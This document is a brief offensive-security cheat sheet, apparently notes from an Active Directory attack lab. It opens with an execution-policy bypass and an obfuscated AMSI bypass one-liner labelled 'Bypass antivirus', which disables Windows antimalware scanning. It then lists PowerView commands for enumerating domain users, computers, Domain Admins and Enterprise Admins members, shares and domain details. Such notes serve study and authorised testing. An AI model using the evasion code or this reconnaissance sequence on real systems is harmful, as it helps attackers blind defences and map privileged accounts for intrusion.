powershell -ep bypass
Bypass antivirus
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
. .\\powerview.ps1
Enum Users
Get-NetUser | select samaccountname
Enum Computers
Get-NetComputer
Enum Members of Domain Admin Group
Get-NetGroupMember -GroupName "Domain Admins"
Enum Members of Ent. admin
Get-NetGroupMember -GroupName "Enterprise Admins" -Domain moneycorp.local
Enum Shares
Invoke-ShareFinder -ExcludeStandard -ExcludePrint -ExcludeIPC
Get Current Domain
Get-NetDomain
Get-NetDomain -Domain <domain>
Get Domain SID